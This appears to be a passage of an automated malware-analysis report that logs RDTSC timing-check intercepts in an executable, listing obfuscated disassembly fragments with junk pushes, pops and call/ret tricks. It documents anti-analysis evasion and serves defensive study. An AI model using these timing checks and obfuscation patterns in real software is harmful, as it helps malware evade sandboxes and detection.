Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12107CC second address: 12107D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4828E70456h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12107D7 second address: 12107E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F4828F7EDD6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12107E1 second address: 1210852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+1245A1C2h], edi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F4828E70458h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov edi, dword ptr [ebp+122D2EB5h] 0x00000031 mov edi, eax 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007F4828E70458h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 00000018h 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f jnl 00007F4828E7045Ch 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1210852 second address: 1210858 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1211862 second address: 1211890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F4828E70458h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 xchg eax, esi 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push esi 0x00000029 pop esi 0x0000002a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1211890 second address: 1211894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1211894 second address: 12118BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4828E70465h 0x0000000b popad 0x0000000c push eax 0x0000000d jp 00007F4828E7045Eh 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1212762 second address: 12127EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F4828F7EDD8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 xor dword ptr [ebp+122D2E4Bh], esi 0x00000029 push 00000000h 0x0000002b jbe 00007F4828F7EDDCh 0x00000031 mov ebx, dword ptr [ebp+122D2E51h] 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push esi 0x0000003c call 00007F4828F7EDD8h 0x00000041 pop esi 0x00000042 mov dword ptr [esp+04h], esi 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc esi 0x0000004f push esi 0x00000050 ret 0x00000051 pop esi 0x00000052 ret 0x00000053 add edi, 061B2015h 0x00000059 xchg eax, esi 0x0000005a jmp 00007F4828F7EDE2h 0x0000005f push eax 0x00000060 pushad 0x00000061 push ebx 0x00000062 jnp 00007F4828F7EDD6h 0x00000068 pop ebx 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12127EE second address: 12127F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1215668 second address: 121566C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121566C second address: 1215670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1215670 second address: 121567A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121567A second address: 12156BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F4828E70458h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 movsx ebx, dx 0x00000027 push 00000000h 0x00000029 mov dword ptr [ebp+122D2709h], ecx 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jg 00007F4828E70458h 0x00000038 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1216672 second address: 12166F4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4828F7EDDCh 0x00000008 jp 00007F4828F7EDD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F4828F7EDD8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007F4828F7EDD8h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 0000001Dh 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 push 00000000h 0x00000049 xchg eax, esi 0x0000004a jne 00007F4828F7EDECh 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12166F4 second address: 1216702 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12177F6 second address: 12177FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12177FA second address: 1217808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F4828E7045Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 120B344 second address: 120B348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 120B348 second address: 120B358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12197EC second address: 12197F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12197F1 second address: 1219809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4828E70464h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1219809 second address: 121982D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4828F7EDE9h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121982D second address: 121989D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, dword ptr [ebp+122D325Ah] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F4828E70458h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov bh, 68h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F4828E70458h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F4828E70461h 0x00000052 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121989D second address: 12198B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4828F7EDE0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121A86C second address: 121A871 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121A871 second address: 121A8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F4828F7EDE5h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F4828F7EDD8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a sbb bx, DBA1h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007F4828F7EDD8h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 00000019h 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F4828F7EDE5h 0x00000053 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121B80C second address: 121B813 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121B813 second address: 121B88A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F4828F7EDD8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 jnc 00007F4828F7EDDCh 0x0000002a push 00000000h 0x0000002c movsx edi, bx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F4828F7EDD8h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b xchg eax, esi 0x0000004c jns 00007F4828F7EDE4h 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 push edx 0x00000058 pop edx 0x00000059 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121B88A second address: 121B88E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121B88E second address: 121B894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121D816 second address: 121D821 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F4828E70456h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121E7C3 second address: 121E7E0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4828F7EDD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jng 00007F4828F7EDD6h 0x00000014 jne 00007F4828F7EDD6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121E7E0 second address: 121E7E5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12119DA second address: 12119F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12119F2 second address: 1211AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F4828E7046Dh 0x0000000b jmp 00007F4828E70467h 0x00000010 popad 0x00000011 nop 0x00000012 mov edi, dword ptr [ebp+122D39D2h] 0x00000018 push dword ptr fs:[00000000h] 0x0000001f pushad 0x00000020 mov dword ptr [ebp+122D2C0Ah], eax 0x00000026 sbb edx, 6EBA54FFh 0x0000002c popad 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F4828E70458h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e mov ebx, dword ptr [ebp+122D3A96h] 0x00000054 mov eax, dword ptr [ebp+122D0281h] 0x0000005a mov dword ptr [ebp+122D1B7Bh], esi 0x00000060 push FFFFFFFFh 0x00000062 push 00000000h 0x00000064 push ebp 0x00000065 call 00007F4828E70458h 0x0000006a pop ebp 0x0000006b mov dword ptr [esp+04h], ebp 0x0000006f add dword ptr [esp+04h], 0000001Dh 0x00000077 inc ebp 0x00000078 push ebp 0x00000079 ret 0x0000007a pop ebp 0x0000007b ret 0x0000007c xor ebx, dword ptr [ebp+122D3159h] 0x00000082 push eax 0x00000083 push eax 0x00000084 push edx 0x00000085 push eax 0x00000086 push edx 0x00000087 pushad 0x00000088 popad 0x00000089 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1211AA0 second address: 1211AB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1211AB6 second address: 1211ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1213A1C second address: 1213A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121580F second address: 1215818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1215818 second address: 121581C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1221A61 second address: 1221A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1218999 second address: 121899D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121AA0D second address: 121AA12 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121C989 second address: 121C993 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F4828F7EDD6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 121DAA5 second address: 121DAAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1217A02 second address: 1217A1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1217A1C second address: 1217A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F4828E70456h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1226E39 second address: 1226E3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 122CB59 second address: 122CB5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 122CC6E second address: 122CC78 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4828F7EDD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 122CC78 second address: 105EB73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828E7045Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 4FD85000h 0x00000010 cld 0x00000011 push dword ptr [ebp+122D03CDh] 0x00000017 pushad 0x00000018 jnc 00007F4828E7045Ah 0x0000001e mov eax, 1A21A884h 0x00000023 popad 0x00000024 call dword ptr [ebp+122D25B1h] 0x0000002a pushad 0x0000002b or dword ptr [ebp+122D1A5Fh], edi 0x00000031 xor eax, eax 0x00000033 or dword ptr [ebp+122D1A5Fh], eax 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d jmp 00007F4828E70461h 0x00000042 cmc 0x00000043 mov dword ptr [ebp+122D385Ah], eax 0x00000049 sub dword ptr [ebp+122D189Eh], ebx 0x0000004f mov esi, 0000003Ch 0x00000054 pushad 0x00000055 pushad 0x00000056 mov dword ptr [ebp+122D1AA8h], ecx 0x0000005c sub al, 0000006Eh 0x0000005f popad 0x00000060 cmc 0x00000061 popad 0x00000062 add esi, dword ptr [esp+24h] 0x00000066 mov dword ptr [ebp+122D189Eh], ebx 0x0000006c lodsw 0x0000006e clc 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 jmp 00007F4828E70465h 0x00000078 mov ebx, dword ptr [esp+24h] 0x0000007c xor dword ptr [ebp+122D320Ah], ecx 0x00000082 nop 0x00000083 pushad 0x00000084 push eax 0x00000085 push edx 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1230B3E second address: 1230B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1230B42 second address: 1230B5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F4828E70456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F4828E7045Eh 0x00000012 jp 00007F4828E70456h 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12310FF second address: 123112F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4828F7EDD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4828F7EDDFh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4828F7EDE5h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12313DF second address: 12313F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F4828E7045Ch 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12313F0 second address: 12313FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F4828F7EDD6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 12313FC second address: 123140B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4828E70456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1231827 second address: 123182B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1231CBD second address: 1231CCD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4828E70456h 0x00000008 jnp 00007F4828E70456h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1231CCD second address: 1231CFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4828F7EDE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007F4828F7EDDFh 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 1231CFC second address: 1231D02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 123A6FF second address: 123A727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 je 00007F4828F7EDD6h 0x0000000e jmp 00007F4828F7EDDEh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push ecx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a pop eax 0x0000001b pop ecx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 123A727 second address: 123A73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4828E7045Dh 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 123A9F6 second address: 123AA14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 jmp 00007F4828F7EDE7h 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 123AA14 second address: 123AA31 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F4828E70463h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 123AA31 second address: 123AA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 123AB89 second address: 123AB98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4828E7045Ah 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	RDTSC instruction interceptor: First address: 123B141 second address: 123B15C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F4828F7EDDCh 0x00000010 popad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
